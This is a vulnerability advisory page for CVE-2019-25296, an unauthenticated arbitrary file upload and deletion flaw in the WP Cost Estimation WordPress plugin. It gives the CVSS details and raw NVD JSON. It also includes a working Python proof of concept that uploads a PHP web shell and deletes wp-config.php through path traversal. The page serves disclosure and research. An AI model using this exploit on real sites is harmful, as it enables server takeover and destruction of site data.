Security Vulnerability Report
中文
CVE-2019-25296 CVSS 9.8 CRITICAL

CVE-2019-25296

Published: 2026-01-08 03:15:42
Last Modified: 2026-04-15 00:35:42

Description

The WP Cost Estimation plugin for WordPress is vulnerable to arbitrary file uploads and deletion due to missing file type validation in the lfb_upload_form and lfb_removeFile AJAX actions in versions up to, and including, 9.642. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected sites server which may make remote code execution possible. Additionally, the attacker can also delete files on the server such as database configuration files, subsequently uploading their own database files.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

WP Cost Estimation插件 <= 9.642

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys target = sys.argv[1] if len(sys.argv) > 1 else 'http://target.com' # Step 1: Upload malicious PHP file upload_url = f'{target}/wp-admin/admin-ajax.php' payload = '<?php system($_GET["cmd"]); ?>' files = { 'reqType': 'file', 'uploadFile': ('shell.php', payload, 'application/x-php') } data = {'action': 'lfb_upload_form'} print('[+] Uploading malicious file...') response = requests.post(upload_url, data=data, files=files) print(f'Response: {response.text}') # Step 2: Delete wp-config.php print('[+] Deleting wp-config.php...') delete_data = { 'action': 'lfb_removeFile', 'file': '../wp-config.php' } delete_response = requests.post(upload_url, data=delete_data) print(f'Delete response: {delete_response.text}') print('[+] Exploitation completed. Check for uploaded shell at:') print(f'{target}/wp-content/uploads/lfb_uploads/shell.php?cmd=whoami')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2019-25296", "sourceIdentifier": "[email protected]", "published": "2026-01-08T03:15:41.970", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP Cost Estimation plugin for WordPress is vulnerable to arbitrary file uploads and deletion due to missing file type validation in the lfb_upload_form and lfb_removeFile AJAX actions in versions up to, and including, 9.642. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected sites server which may make remote code execution possible. Additionally, the attacker can also delete files on the server such as database configuration files, subsequently uploading their own database files."}, {"lang": "es", "value": "El plugin WP Cost Estimation para WordPress es vulnerable a la carga y eliminación arbitraria de archivos debido a la falta de validación del tipo de archivo en las acciones AJAX lfb_upload_form y lfb_removeFile en versiones hasta la 9.642, inclusive. Esto hace posible que atacantes no autenticados carguen archivos arbitrarios en el servidor de los sitios afectados, lo que puede hacer posible la ejecución remota de código. Además, el atacante también puede eliminar archivos en el servidor, como archivos de configuración de la base de datos, cargando posteriormente sus propios archivos de base de datos."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://wpscan.com/vulnerability/9219", "source": "[email protected]"}, {"url": "https://www.acunetix.com/vulnerabilities/web/wordpress-plugin-wp-cost-estimation-payment-forms-builder-multiple-vulnerabilities-9-642/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/blog/2019/02/vulnerabilities-patched-in-wp-cost-estimation-plugin/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ae50aa5d-95e3-4650-9dbf-118b4ba3abda?source=cve", "source": "[email protected]"}, {"url": "https://www.zdnet.com/article/another-wordpress-commercial-plugin-gets-exploited-in-the-wild/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/blog/2019/02/vulnerabilities-patched-in-wp-cost-estimation-plugin/", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}